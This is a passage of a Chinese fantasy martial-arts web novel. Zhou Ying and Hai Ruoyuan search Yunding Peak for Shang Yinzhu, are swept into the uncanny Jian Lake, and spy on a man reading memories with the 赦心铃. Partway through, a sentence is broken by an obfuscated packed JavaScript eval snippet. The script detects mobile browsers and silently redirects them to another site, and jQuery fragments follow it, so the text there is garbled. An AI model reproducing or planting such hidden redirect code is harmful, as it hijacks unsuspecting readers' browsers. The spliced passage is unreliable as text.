当即撑开眼皮,望了他一眼,心道,莫非海若渊也有些似乎也耐不住了?又想,商音竹会不会来还是未知数,等了大半夜,也难怪失去耐心了。 然而,老人听到了“鉴湖酒”三个字像是突然回忆起了什么,只见他慢吞吞转过身去,无比艰难地弯下腰,不知道要去拿什么。 身子稍稍一偏,周盈侧眼一瞥,发觉他身后有个小几。那小几与小腿齐高,靠在墙边,落在灯影里,很难注意到。 老人转过身时,手里已经拿着四个杯子。他把那杯子一字排开,又提起了酒壶,杯子比饭碗略小,他用两只手指拈着,从酒壶缓缓倾出酒来。 周盈看在眼里,生怕下一秒手稍微不稳,酒连着酒具一道被打翻。但是,老人一双枯瘦的手,连筋络骨骼都清楚可见,却稳稳托住酒具,一连倒了四杯,一滴没撒。 等他把酒杯分别推到二人面前时,周盈才明白他的意思,原来老者要请他们喝酒。 鉴湖酒独有的清淡酒味在空中散开。那香极为清淡,虽是酒香,闻起来十分清冽。杯子里的酒更是干干净净,没有半点儿杂质。 周盈瞬间疑虑全消,抬起酒杯,浅呷一口。入口瞬间,甘美的酒香即刻在口腔中散开,喉咙一动,酒液入肠,酒气随着酒水瞬间化无,只留下淡淡的气息使人回味无穷。 鉴湖酒果真不醉人。 见她饮了酒,回忆前事,海若渊忽道:“喝酒误事。” 当时他们意外走到顾曾云开的酒肆,周盈叫了茶,海若渊叫了酒,只是赵瑾横插一手,酒最后也没喝成,如今饮了一口,才知道鉴湖酒并非浪得虚名。 周盈笑道:“鉴湖酒,不饮可惜了。” 放下酒盏时,不经一瞥。 海若渊正用手指轻轻摸着酒杯,却始终没端起,似乎在等老者回答。 然而,老人把酒递给二人后又陷入了沉默。他有时抬起头,也是直接略过二人,径直看向窗外,浑浊的双目中饱含着殷殷期盼之意。 一夜很长,等待的人迟迟不归。一夜很短,等待的人不觉五更有多长。老者还在看着外面,看着那条上山道,一心一意期待商音竹归来。 顺着老人的视线看过去,周盈这才发现,在她打瞌睡的时候,一夜的风雪竟不知什么时候停了。 三个人,四杯酒,一人独饮,二人无意。唯独那最后一杯,人没来,酒也无人动。 就在此时,微弱的油灯应时而灭,窗间透进了光线,屋子里一点点明亮起来,居然已经是天亮时分。 老人匆匆扫了眼突然熄灭的油灯,视线又移向外面。窗外,日光下泻,虽无暖意,这间深山小屋暴露无遗。 昨夜风雪交加,这屋子是山中孤客,如今天光乍泄,它为群山簇拥。 老人起身收拾杯盏,颤抖的手把那瓶放了不知多久的鉴湖酒重新放回木架上,这如此漫长的一夜,在他眼中似乎也不过短短一个起坐时间。 周盈叹了口气,一个风烛残年的老者,这样的等待不知道何时开始,又不知经历了多少次失望。可惜,商音竹估计是不会来了。 想罢,当即起身,两步走到门边,伸手一推,只觉冷阳敷面,寒意冻人。抬头一望,山上积雪丝毫不见融化的迹象。 枯坐一夜,难免腰酸脖子疼,周盈伸了个懒腰,打足精神气,正欲回头时,视线忽然一定。 不远处雪峰上云雾缭绕,茫茫难踪,恍若人间仙境。她呆了呆,猛地反应过来,那就是云顶峰! 云顶峰,顾名思义,峰顶雾霭丛丛,恍若置身云端之上。周盈看着那团雾气怔怔出神,顾曾云酿鉴湖酒的水就是来自云顶峰之上的鉴湖,她的确来过这里,商音竹也必然在此。 只是偌大个云顶峰,真要从头找到尾,只怕要好一番折腾,周盈决定最后再尝试一次,回身问:“商音竹可有说过她要去哪里?” 乍闻这个声音,老人糊里糊涂抬起头,似是惊觉屋中还有别人。 他看了眼立在门边的周盈,视野却很快被周盈怀中的孩子——或者说包裹着孩子的大片碧色海棠花吸引,看着看着,脸上憋出一团酡红,颤声道:“你找她做什么?” 周盈道:“我想问她要样东西。” 想了想,又道:“是顾曾云让我们来找她。” 老人神情激动,一边说,一边把他们往外撵:“她不会回来了!她再也不会回来了!你们走,都走!” 啪地一下,门紧紧闭上。 周盈没想到两句话不对头就这样被撵出来,更觉古怪,奇道:“他怎突然变成这样?” 海若渊退开几步,从那里刚好可以看见屋里动向。 老人在桌子前坐了下来,胸口剧烈起伏渐渐平缓。 然而,天一亮,四面透风的屋子里一览无余,那些大坛大坛的鉴湖酒,被静置在床底、架子上、窗台下……… 这时,周盈才明白过来,海若渊问的那句“鉴湖酒”是什么意思,鉴湖在云顶峰之巅,上面更积着常年不化的冰雪,单凭这个老者,又去哪里寻鉴湖酒? 休息了好一会儿,老人心情稍微平复,他茫然地朝窗外望了一眼。不过他却没再把门打开,起身后,就在幽闭的屋子里来回走动,将桌上的酒杯一一归位,酒坛子也放回墙边矮矮的小几上。 将一切统统回归原貌。 听到顾曾云的名字,他竟完全没有反应。周盈知他糊涂,也不敢再烦他,低头一阵思索。 这里已经是云顶峰,听那老者的意思,商音竹似乎嘱咐过什么,不出意料,应该是“过两日、不久就回来”一类的话。顾曾云既然交代来云顶峰寻她,她必然长居于此地,即便离开,想必也是快去快回。 老者与商音竹关系似乎十分密切,从他身上,一定有线索可抓,于是她开始一点点回忆昨天的谈话。 从进门时他们问的第一个问题,还有老者莫名其妙的琐碎的话语开始,重新一点点摸索。 顾曾云如此肯定地让她来找商音竹,说不准早和商音竹有过约定。但是他们来的时候商音竹却不见了,只留下一个神智不清的老者。这老者又熟悉商音竹…… 想着,视线不由得重新转向屋中老者。 此时老者正在打扫屋子。 他身体枯朽。衰老得连端起油灯都颤颤巍巍,堆在边上的书虽然没动过,却还是一本一本地重新理整齐,然后一丝不苟地擦桌子、扫地、再把所有的杯子洗一遍……… 仿佛这些就是他每天都在重复的生活。 所有线索在脑子过了一遍,周盈终于抓住线索,隔着窗子,对老者大声道:“阿枚在吗?” 阿枚,是老者含混的记忆里意外出现的一个名字,当时他误以为眼前的访客是阿枚,并且说,阿枚总有一天会来找商音竹。 那么,他口中的阿枚会不会就是顾曾云? 闻言,老者手上动作乍停,神色一点点深入,又一点点开悟,浑浊的眼睛露出光亮。然而,正当周盈以为能得到什么有用消息时,他却摇摇头,继续埋头苦干,像是没听见门外有人。 疑云更浓,周盈望着云顶峰一阵沉思,倏然,灵光乍现。 “商音竹……阿枚?戴眉山!” 周盈恍然惊悟,莫非不是阿枚而是阿眉? 她冲屋中大喊一声:“戴眉山!” “戴眉山来找商音竹了,你知道她在哪里吗?” 老人两眼发光,急不可耐冲到窗边,四下搜寻:“她来了?她来了?” 周盈被他搞得一个头两个大,海若渊却好似察觉了什么,冲她看了一眼,道:“去鉴湖。” 周盈连忙追上:“商音竹在鉴湖?” 海若渊道:“顾曾云的确去过鉴湖。” 又冲屋子看了一眼,道:“他提过鉴湖。” 换言之,若老者将她误认成戴眉山,又下意识以为她会去鉴湖,岂非等同于说,商音竹与戴眉山约定在鉴湖见面。 如今戴眉山已死,不管商音竹此时在不在鉴湖,但是顾曾云一定去过。她们提前有约,如果商音竹真的因为什么事情离开了,说不准会留下讯息,告知去向。 而鉴湖最有可能。 * 终年的积雪本是云顶峰的一大奇观,但真正行走起来,这些半人厚的积雪反而成了行进的最大阻碍。 一脚下去,就是一个深坑。拔出腿来,鞋里都塞了雪,雪在里面化成水,冷入骨髓,再好的闲心也无法欣赏。 周盈吃了几次亏,终于摸出了经验。便将脚上力道卸去,轻轻走在雪上,避免陷进去。哪知一起身,没注意刚好撞上了海若渊的后背,鼻子被撞得生疼。 海若渊无端受她连累,也被撞得向前扑了一下,一人一脚,在雪地上跌出两个坑。 这一跌,便跌出了问题。 周盈才从疼痛中缓过神来,刚要拔出脚,只觉得脚下硬邦邦的,崎岖不平地踩着什么东西。她 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周盈见他这个动作,心知有异,便问:“发现什么?” 海若渊道:“尸体还没完全冻上,里面都是软的。” 周盈他们连夜赶路,困于风雪才停留了一晚上。云顶峰寒冷至极,一夜过去,尸体肯定被冻成冰块了。可想而知,霍安根本没死多久。 被海若渊废去武功,外面又到处在捉拿玄冥帮众。只身一人,他不可能这么快就来这里。想了想,周盈道:“你觉得是谁?” 海若渊不答,反问道:“你猜是商音竹还是盗指玄冥?” 周盈瞧了死人一眼,问:“怎么死的?” 海若渊道:“内伤,是被震死的。” 霍安身上虽没一处刀口,但五脏六腑却都被震碎。这种一击毙命的手法,恐怕还没等人反应过来就一命呜呼。可想而知,出手之人不仅修为高深还心狠手辣。 周盈一边拨雪堆把人掩埋,一边道:“他一身功力早被废去,下这样的杀手实在多此一举。” 海若渊倒像司空见惯,不觉得有什么奇怪,反而来了一句:“若有深仇大恨,一击毙命已经是十分仁慈。” 公室作风强硬,海若渊似乎深得其精髓,对死者惨状无动于衷。周盈拨着雪堆,听他一番话,随口道:“霍安与商音竹能有什么深仇大恨?” 说完,忽起一念:“霍安怎会知道云顶峰的事情?” 海若渊当即摇头:“顾曾云之死他并未参与,而且他在玄冥帮中地位不及笑面书生,以常理推断,他不可能知道商音竹在此地。” 如此一来,这事就越发怪异,周盈道:“他既不知道,又怎么会到这里?既然来了必定有利可图,难道……难道真是盗指玄冥带他来的?” 想想又觉得不对劲儿,霍安已经被废去一身修为,玄冥帮现在又被四处通缉,带着他,不是多增添一个累赘? 想来想去,他们根本无法解释霍安是如何、因何出现在此地。 周盈拍拍手,道:“事不宜迟,我们先上鉴湖找商音竹。” 海若渊点点头,却道:“我先回草庐。” 周盈当即明白他的意思,不怕一万,就怕万一。如果盗指玄冥迟早会搜查到此地,不管是守株待兔,还是预防不备,留一个人总是有用的。于是点点头,抬腿就走。 未及走出两步,海若渊声音忽然响起:“玄冥指,注意提防。” 他难得如此好心,周盈闻之回头,冲他笑道:“有日月轮,玄冥指对我无用。” 海若渊道:“盗指玄冥善狡计,凡事小心为上,若你真的遇上他,记得留心他的左手。”说着,抬起左手示意。 周盈奇道:“为何?” 海若渊少见一脸认真:“玄冥指必须由左手食指发出,一旦中招,轻则修为尽废,重则反噬而死,不可大意。” 想起顾曾云,周盈不再嬉笑,点点头:“我会小心。” 说罢,俊捷的身影倏然远去,白茫茫的雪地上只留下一串似有似无的足迹。 目送她离开,海若渊没有立即折回,而是目不转睛望着那片白得刺眼的雪色。 幽黑双眸静如深潭。 忽然,他上前一步,一只脚与那若有若无的足印重合。 有一瞬间,他想沿着脚印偷偷追上去,看看她究竟在搞什么鬼,看看她何时露出真面目,看看她何时肯卸下漏洞百出又无比单薄的伪装。 39. 苍山雪(三) 峰顶,依旧是一成不变的雪景,冰天雪地中心,就是鉴湖所在。 湖水是由冰雪汇成,湖面如嵌在冰地的一面镜子,太阳迎头射下,波光粼粼,格外引人注目。 除此之外,鉴湖水汽氤氲,整个山顶为薄雾笼罩,乍然一看,恍非人世。 看到眼前的一切,周盈才明白,原来云顶峰的“云”非是白云的“云”,而是雾气终年不化,远远望去,状似云霭,故而得名。 美则美矣,却让人头疼犯难。 在这种地方搞偷袭、放冷箭简直一干一个准。 何况周盈在死人谷吃过亏,一见到迷雾,堤防之心更重。脑中飞速思索一阵,忍着酷寒,脱下中衣,将布料撕成数道布条,几股缠在一起,又前后续接,缀成绳索,将顾奇缘紧紧捆在怀中。 做完这一切,才开始四处搜寻。 走了几步,雾中忽然出现了一团巨大的黑影。 周盈首先排除动物一类的东西,毕竟她没见过这么大的活物。 顺着黑影的方向,她一路摸索着走到鉴湖边上,这才发现那团所谓的黑影竟是一座宽数丈有余的茅屋,当即明白:“这间茅庐的主人十有八九就是商音竹。” 想罢,绕着茅庐转了半圈,终于找到茅庐的门。那门正对着鉴湖北面,并非迎客的方向,隐隐暗示着茅屋主人不是十分好客。 不过来都来了,招呼总是要打的,于是她当即上前,冲着门板敲了两下。 腐朽的门板传来道余响,荡悠悠散入无边雪崖。 屋内无人响应。 周盈心上一咯噔。 再敲第二下,还是没人应。 周盈敞开嗓子,冲门口大声道:“请问,里面有人吗?” …………… 周盈趴在窗口一看,里面黑洞洞的,没有烛火,似乎根本没人影。但又不放心,便使了个法诀。下一秒,幽蓝的追命火就被她丢进了屋子里。 借着火光左瞧右瞧,望了半天,又嫌不够亮堂,正想着召出顾命火,但想了想,炎君似乎叮嘱过顾命火轻易使不得,麻烦就麻烦些,还是继续用追命火稳妥。 稍稍提了点力,追命火由指尖移到掌心,焰火骤然涨大。引出一个,便随手扔一个进去。丢得她手都酸了,火焰在屋子东一团、西一团,堆了小半边屋子,才终于勉强看清楚里面的布局。 屋里还有有两道门,门的背后应该是两间卧室。显然居住此地的,除了商音竹还有另外一人。 然而,厅堂里没有必要的生活用具,别说炉灶,就连桌椅、柜子都没有。更奇怪的是,屋子空空荡荡,唯有地上放满了坛子。坛子大小不一,各式各样,小的不过两个拳头大,大的足够装下一个成年人。 周盈疑上心头,对着其中一扇木门隔空拍了一掌。 门豁然打开,里面仍旧是大大小小的坛子。 商音竹放这么多坛子在里面做什么?想着,她瞄准地上的坛子,一掌打去。 坛子应声碎开,坛子里的“水”瞬间洒了一地。 周盈愣了一下,水?不对,是酒,那坛子里装的是鉴湖酒。她又挑了几个坛子击碎,砰!砰!砰!连着三声闷响,三个坛子依次破裂,从坛肚溢出酒水。鉴湖酒味虽淡,但泼了一地后,酒味很快散开。 周盈这才明白,山里老人的酒都是从这里来的。 不过积雪太厚,山路难行,他肯定不会亲自上来取酒。之前探过他口风,分明对顾曾云三字完全没反应,所以他屋子里的酒应该是商音竹送去的。 可……屋子颓圮,不似人居,商音竹究竟去了哪里? 周盈不死心地又在茅庐边上转了几圈。别说打斗的痕迹,甚至连正常的生活痕迹都没有。一路走上来都没见半点人气,既然不住人,商音竹又为何在这里修个草庐? 顾曾云经营酒肆,卖的便是鉴湖酒,因此她必定常来鉴湖取水,或者说,经常与这茅屋的主人打交道。山下那个老者对商音竹似乎十分熟悉,但为何听到顾曾云的名字完全没反应? 有关商音竹的一切,不是谜团就是不合理。 周盈站在屋外,琢磨半晌死活琢磨不透,正犹豫要不要破屋而入,再寻些线索。 下定决心正要闯进去时,又想,鉴湖分明已在眼前,又何必纠结一个荒废的草庐,或许在鉴湖能寻到蛛丝马迹。 想罢,她又三五下绕到鉴湖边上。 奇怪的是,鉴湖处于冰雪深处,湖水竟没结冰,投下雪团,湖面立即泛起道道涟漪。凑近一瞧,纯净的湖水上,一张轮廓分明的俊颜赫然在目。 乍见这陌生又熟悉的男相,周盈不禁看得入了神:“这张脸用了这么久都没认真看过,师父说自己长得不像母亲,后来用金鱼草变成彻彻底底的男身,容貌竟也跟着发生巨变,只是不晓得男儿模样又像谁?” 想着,便将身子压低,好临波照影。孰料那张脸突然变形,五官歪七扭八,眉毛几乎被挤到眼睛下边,两颊左右折叠,皱皱巴巴,好像跟随湖面波涛剧烈扭曲。 然而,周盈眨眨眼,抬头一看,鉴湖水面分明无风无浪! 纳闷之际,湖面忽又变换。 倒映在湖面之上的五官遽然揉成黑乎乎一团,与此同时,如同大半瓶浓墨泼入水中,湖水由透明的青白之色转为阴气森森的浓黑。持续两三秒后,似有强光横扫,湖水竟又渐渐变得透亮、明澈。 待湖中倒影再次出现,周盈惊得后退半步。 ——居然是一张女相! 她本来的面孔此时此刻正出现在湖面上。 然而等她再想多看两眼时,白光一闪,湖中面孔转瞬即逝,取而代之的是一张男相。 她连忙看了看自己的手,手指很长,骨节也比原身足足粗一圈。虽然如此,她仍然不放心,又从怀中掏出金鱼草。 金鱼草的叶子好像鱼的尾巴,尾巴末端已见枯黄,幸而还未完全枯萎,这便意味着男身还未到失效之时。 确定面孔未曾改变,周盈稍微放心,又往湖面看了一眼,心道,事出反常必有妖。 为什么这湖里会出现这种景象?在死人谷时她的脸足足变换了四次,但每次变化都是随着看到的东西而对应着改变的。 看到炎君时,就是女儿身,海若渊一来,就又恢复了男儿模样。后来遇见孟婆婆、小搜时又变了一次,回到山上又变了回来,面孔几番变化显然与死人谷的阵法有关。 但这次变化的只是湖中倒影,周盈盯着鉴湖瞅了半晌,疑心渐起,难道这湖水有古怪? 想着,便不自觉地伸手向湖面探去。 指尖在湖水上蜻蜓点水似的一顿,周盈随即阖上双眼,静心感受。 万物分阴阳,水属至阴之物,因此她可以毫不费力感受到鉴湖之下隐藏着的磅礴阴气,并且确定这股力量纯粹得不见半分杂质。 也就是说,鉴湖之中仅有一片汪洋,并无任何外力掺杂其中……甚至连活物也没有。 周盈缓缓睁开眼,此时她正俯身面对湖水,湖面自然出现一张脸。尽管只是一瞬间,周盈还是发现湖中的的的确确是女相,而非本应出现的男相。奇怪的是,女相后面,影影绰绰,似乎还藏着一张脸。 思索一阵,她抱着顾奇缘,又缓缓俯下身子。 只见一张圆润可爱却十分苍白的脸映在湖面,稍待片刻,湖面那张脸始终没有发生任何变化。周盈对玲珑骨知之甚少,心道:“莫非顾奇缘的相貌没变过,这湖水便没有异常?” 正要抱回孩子时,湖面倒影忽然震了两下,周盈不由一愣,湖水之中,顾奇缘小小的身子竟发出幽蓝的光。看位置,不偏不倚,正是左边第二根肋骨。 周盈明白,这便是寄居在顾奇缘体内的玲珑骨。 若湖水可以照出真实面貌,顾奇缘借着玲珑骨得到的身体,应该与他原身一般无二。 想罢,她又忍不住抱着顾奇缘左瞧右瞧,想看看他脸上哪处长得像顾曾云。若长得像他母亲,长大后必定是个美公子。可惜顾奇缘现在的身体尚且保持着刚出生的模样,脸也是肉乎乎。一双眼睛紧紧闭着,正睡得香,哪里又看得出来? 周盈抱着他,蹭了蹭那可爱的圆脸,心想,这么小个孩子,若论年龄,却比自己还大上百十岁。 她眼睛一动不动瞧着顾奇缘,眼尾扫过湖面,猛地发现湖中的画面再次扭动,似乎又要开始变幻。 周盈欲看个仔细,湖面猝不及防旋起巨大的水涡,滔天巨浪劈头盖脸砸下,把她与顾奇缘一起卷了进去。 寒冷刺骨的鉴湖顷刻没顶,湖水顺着漩涡不由分说灌进七窍之中,周盈目不能视,口不能言,任由刺骨的湖水正不断往耳朵里边儿灌。 水涡不断旋动,巨浪冲击之下,原本绑得十分扎实的束带渐渐松开。周盈目不能视物,只能拼命去抓孩子的襁褓。 但越抓,那襁褓溜得越快,几次失手,周盈一阵心急。 玲珑骨能助顾奇缘病体快速愈合,但落到水里就真的只有等死! 周盈拼命抓向那碧绿的海棠花,那衣服像滑不溜秋的鱼,越抓越远。到后来连她自己也不确定手上是不是抓住了什么,天旋地转间,一股窒息之感袭来,意识逐渐模糊,紧接着两眼一黑。 周盈在鉴湖边醒来时,胸口传来一阵沉闷,忍不住“哇”地吐了出来。 嘴里呕出沾着酸味的湖水,脑子一阵剧痛,依稀昏迷之前似乎看见朦胧的一片朱红,一点点将她吞没。不肖想,必然是日月轮又救她一命。 然而,等她扑倒湖边上,望着静如明镜的鉴湖,上面空空荡荡,顾奇缘却不知被流水卷到什么地方去了。 周盈脑子一阵恶寒,豁地翻起身,握住日月轮,几乎马不停蹄地要冲进鉴湖找人。 不过,她很快强迫冷静下来。 她张开手掌,闭上双眼,默默感受一阵。 顾命火自掌心溢出,白光炫目,生命力十足,蹿动的白焰隐隐牵引着什么。 她缓缓吐出一口气,顾奇缘非但没死,生命迹象甚至比先前还要平稳。 可是,人呢! 好在为防这一日,她早在顾奇缘身上施下追命火焰,只要捏下法诀,就能循着火心指引把人找到。 想到这里,她渐渐镇定下来,右手一捏,默念着火诀,便要召出追命火。 奇怪的是,这次运力不太流畅,火焰力量也十分微弱,如同被水浇了个透心凉。 周盈心想,或许与刚刚落水有关。 不多时,熟悉的火焰出现了! 然而,火才冒出头,幽微的焰火闪了两下,如天光乍然一现,扑哧,居然又灭了。 周盈不死心地换了左手,平时右手发掌捏法诀,今天这只惯用手却用得生,招之即来的命火竟然熄灭了。 然而,事情的失控程度远远超出她的预料。 换到左手捏法诀时,那火焰干脆连一点头都不冒,一点儿反应都没有,似乎被湖水彻底浇熄了火气。 周盈心上一跳:“素来说五行中水可克火,莫不是自己修炼的追命火被这湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796372|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水一浇,便要熄灭?”想到此处,她从囊袋中摸出枚铜子,吹尽上面水迹,指尖微动,确定已经施下追命火,便将那铜子往湖中一抛。 隔着大雾,只听到一道含混的落水声,铜子咕咕坠入湖底。 周盈当即尝试召唤追命火,只见那焰火便轻飘飘地窜到眼底,在一片白雾中如此显眼。然而,不过眨眼的功夫,竟又消失了。 追命之火落在水里竟然失灵了! 以前都没遇到这样的怪事,现在又非是仔细追究的时候。 周盈一时悔恨自己学艺不精,真要用时却频频掉链子。悔则悔矣,此刻间她只得抓起日月轮便往湖边查探。 此时的鉴湖平静得像块铜镜,无风不生波,刚才的惊涛骇浪似乎只是一场梦。 湖面太静,静得可怕,上面根本找不到顾奇缘半点儿影子,甚至随身的衣物也没飘上岸。那么,人必然还在湖中。 实在不巧,炎君什么把戏都教给她,唯有游水从未让她涉足。她一个旱鸭子,要去这样一眼望不尽的湖里捞人,无异于痴人说梦、自寻死路。 思忖片刻,周盈灵机一动,随即扯下布条,把日月轮紧紧绑在身上。撒腿冲到湖边,心一横,又跳了进去。 然而,脚尖接触湖水瞬间,周身忽然红光大作,紧接着,一股莫名巨力将她硬生生弹飞岸上。日月轮似乎察觉她这不要命的举动,竟然强行把她拽离危险。 周盈被摔得两眼一黑,待视力稍微恢复,定睛一看,眼前忽然出现一抹亮绿色。云顶峰之上举目四望,皆是苍茫白雪,这团绿色兀然出现,自然格外扎眼。 于是,周盈视线不由得跟随它移动起来。 她视力极佳,那团绿影此时与她距离不过七八步之距,聚精会神片刻,绿影上的细节越发清晰。 数十种深浅不一的碧绿丝线,层层叠叠聚拢成堆,连缀而成的花瓣一个接一个叠成伞状,花朵经过白雪折射,通身上下散发出晶莹细腻的绸缎光泽。 那所谓的绿影竟然是大丛大丛簇拥在一起的碧色海棠。 此时此刻,碧色海棠正逐渐向她靠近。 然而不过两秒,碧色海棠没再靠近,反而用极快的速度往后退。 周盈这下终于瞧明白了,那分明是件绣有碧色海棠的华服,与抱着顾奇缘那件如出一辙! 不及多想,周盈立即翻身,向那道人影冲去。 雾色与雪色中,依稀见到一前一后两道身影迅疾掠过。 周盈通身湿透,还来不及把衣服烘干,此时衣上滴落的水珠随着身形极速晃动,一滴接一滴无声砸在雪地上,在云顶峰留下一串珠子似的痕迹。 眼见二人距离慢慢拉大,周盈口中默念几句。霎时,幽蓝的焰火在她肩头肆意跳跃着,火势顷刻遍布全身,身上凭空腾起一道道水汽。 须臾,她只觉得浑身一轻,步伐更加利落,快步逼近来人。 距离一点点缩小,周盈随便抓住肩头火焰,冲来人用力掷去。可惜距离不够近,又有白雾阻隔,根本无法确定来人具体位置,几次都落了空。 追命火在雪地上扑哧一闪,便消失得无影无踪。 二人你追我赶,谁也不肯停步,竞逐间,不知不觉已经离开峰顶。此时,两边地势骤然收拢,只剩下一条空荡荡的雪道。周盈追之不及,心中忽然闪过一种似曾相识之感,待她反应过来时,那道绿衣人影极快地窜进间茅屋。 看着熟悉的屋子,脚步不由得缓下来。 她万万想不到那绿衣来者跑了一路竟然回到此地,脑中自然跳出一个熟悉的人名——商音竹。 她一直忽略了,与老者同住的可能不是别人,而是商音竹! 那些衣服的主人,是商音竹。 之前与海若渊约定,让他先回茅庐以防不测,现在那人自大门闯入,海若渊却不知去了哪里。 周盈望了眼茅庐,鬼使神差地绕过正门,幽幽向屋后转去。 茅庐背面落了两扇窗,窗木皆已受腐蚀摧残,窗户难以严丝合缝地闭拢。周盈谨慎挑开其中一扇,从窗缝看向屋内。 刚好可以看见昨夜三人静坐之地,桌上杯盏已被仔细收好,便只余一盏油灯。许是雪色入室,光线充盈,油灯并未点燃。 与此同时,她注意到左边卧室门是打开的。 这间茅屋不知立在此地已经多少时日,外面受雪打风吹,连墙壁都剥落了一层。内室却收拾得十分干净,不只纤尘不染,连床上也铺得整整齐齐,一点褶皱都看不到。 周盈心道,这老者倒真是个讲究人。 然而,转了两圈,有限的视野里没人出现。 一个也没有。 老者、海若渊还有身着碧色海棠花的商音竹都不见了踪影。 半天没见到动静,周盈索性支开窗户,纵身一跃,跳入屋内。 她动作十分小心,落地刹那,又即刻回身接住了下落的窗扇,以防它落下时摔出声响。 做完这些,她才回过头去,打算在屋里探查一番。却不想,刚转头就被一股突如其来的重力拽到了墙角。 受这意外一惊,周盈还算镇定,不等对方使眼色,便自觉屏气静声,本要冲口而出的话也先咽到肚子里。 只有询问的眼神不觉看向消失半日的海若渊。 海若渊一心盯着内堂情况,自然瞧不见她无声的询问。 周盈心道,能让海若渊偷听的墙角不知是怎样的墙角。想罢,她便有样学样,将身子半蹲着,然后眼睛一眯,向门缝中窥去。 40. 苍山雪(四) 屋角放了张一人长的竹制躺椅,老者躺在上面,双眼合上,神态十分安详,似乎已经沉沉睡去。 让周盈意外的是,老者旁边还有个男人。 一个从来没见过的男人,身形壮实,背脊却有些佝偻。此时他正背对二人,手掌不停翻弄,不知在捣鼓什么。 云顶峰本就少见活人,这人行事又透着诡异,周盈看了两眼,不由得心生不祥。那人偏过身子刹那,光从窗子进入,斜斜照在他脸上,可以看见他的嘴角缺了一块,伤口窄利,分明是被刀剑之类的武器划伤。 很明显,这人会武功。 须臾,他动作一顿,脸色隐隐透着不耐烦,胡乱往什么地方锤了一拳。 这时,周盈才看清楚他手上拿的原来是一大一小、以红线拴在一起的两枚铃铛。铃铛样式古朴,遍布铜绿之色,中间仅仅镌刻几缕若隐若现的纹路。 那泄愤的一拳在屋中响起啪地一声响,声音又短又急,仿佛是暴怒的前兆。 海若渊摸了摸刀柄。 周盈知道这个动作有特殊的含义,她指了指那人手上,又摊手,做了个不解的动作,她相信海若渊能看得懂。 果然,海若渊举起右手,四指紧握,食指点了点。周盈略一犹豫,翻出手心,递了过去。海若渊也没多想,便在她手心一笔一画写了起来。 手指覆盖着一层薄茧,滑过掌心刹那,呵得手心发痒。周盈忍住异样之感,用心仔细体会着。手指飞快划了几下,前后勾连出个“赤”字。见手势忽顿,周盈正想抽回手掌,然而海若渊又在上边猫挠似的划了两下。 手心微微发烫,上面是个“赦”字。 周盈歪歪头。 海若渊似乎察觉到她的困惑,又在那未及收回的手心上点了点。 周盈还是摇摇头。 海若渊无奈,终于指了指自己的心脏。 赦心铃! 那人手上拿的是赦心铃! 赦心,是赤狐早已经被遗忘的名字! 那么……眼前的人竟然是赤狐?! 周盈吃了一惊,罗刹海居然这么快已经找了过来。透过门缝望去,“赤狐”还在摆弄手上的铃铛,丝毫没有察觉有人在背后偷窥。 捣鼓一阵后,似乎一直找不到想要的东西,“赤狐”额角渐渐泌出两道热汗。终于,他不耐烦地把赦心铃往空中一抛。 然而,偏偏就这么歪打正着,这铃铛并没有顺势落下,反而稳稳悬在空中。 定了片刻,又好像收到某种力量牵引,铃铛竟长了鼻子似的,在“赤狐”身旁转了两圈。 “赤狐”冲它挥挥手,赶狗似的把它撵走。 似乎“嗅”到气味不对,它转头绕到老者身上,最后在他耳畔停下。 紧接着,红线兀地拉长,一大一小两个铃铛无声分开,各自绕着红线飞速转动。 整个过程大概持续了半分钟,“赤狐”似乎觉得时机差不多了,便抓住红线尾端,手指轻轻一勾。红线越扯越长,最后跟条长蛇似的缠上“赤狐”左腕。 不巧,周盈曾在那本伪造的《神机会元》看过相关记载,虽只是寥寥几笔,胜在条理清晰,句句切中重点。当时她疑惑一本专揭公室短、四处造历代公室谣的伪书为何无故提起赦心铃,因此多留意几眼,于是知晓一二。 赦心铃由三个铃铛组成,最大的为“母铃”,小的两个是“子铃”。两个子铃互通,用以窥探或记录活人记忆,过了子铃的记忆之后亦可转入母铃进行储存。 只是不知为何,子铃此时只有一枚。 此外,记忆本是无形之物,赦心铃可记之、储之,但外人想窥视,必须借助红线。 显然,“赤狐”此时正在窥探老者记忆。 周盈看见丝丝缠绕的红线,灵光乍现,只见她右手掌心上翻,做了个弹指的动作,食指指尖忽冒出个核仁大小的火苗。 天还没黑,这点火不会引起注意,确定“赤狐”的注意力都在铃铛上,又冲海若渊打了个手势,猛地掷出火苗。 幽蓝的火焰像只轻盈的羽毛,轻飘飘落在红线上,没引起一点波动。 周盈松了口气,念动法诀,指尖又出现缕追命火。 双眸一闭,一座大山在脑海中闪现。 薄薄烟云缠在山腰,山上没有雪,视野所及,一派青葱莽莽。在顾曾云的酒肆里,有人提起许久以前的云顶峰是不会下雪的,是这老者的记忆没错。 确定方法可行,周盈把指尖的火苗分出一半,扔到海若渊刀鞘上。海若渊很快明白过来,用手抚住火焰落处。 二人同时探去,只见眼前一片清明,一座青翠山岭赫然出现。视野逐渐拉近,最后落到间茅屋上。 然而,看见茅屋时,周盈面露讶异之色。 脑海中的茅屋要比现在这间简陋许多,数尺见方的屋子,里面只有一间卧室,卧室门依旧紧闭着。 厅堂中间生了个大火炉子,天不算冷,炉子里没见火星。炉子旁边摆着两张宽大椅子,每张椅子大得可以轻松坐下两个人,上面还铺了块油光发亮的棕褐色毛皮。 正当她想再仔细看看屋内状况,画面猛地一黯。 周盈抽回神思,迅速往门缝瞟了一眼。“赤狐”已经把手缩回,看来他时间紧迫,没什么耐心去看多余的事。 赦心铃被拨弄了两下,画面转暗,依旧是间茅屋,夜色穿窗入户,时间已经是晚上。 咚咚! 门外传来两声,有人扣门。 “来了。”卧室里传来声女子的声音,声音不算年轻,但绝对不老,应该三十出头。果然,屋里走出个少妇,个子不高,身材也说不上窈窕,一张饱满红润的鹅蛋脸,也算好看。 门嘎地打开。 三人脑海中皆浮现一片黑影,许是外面光线太暗,居然看不清来人的模样。 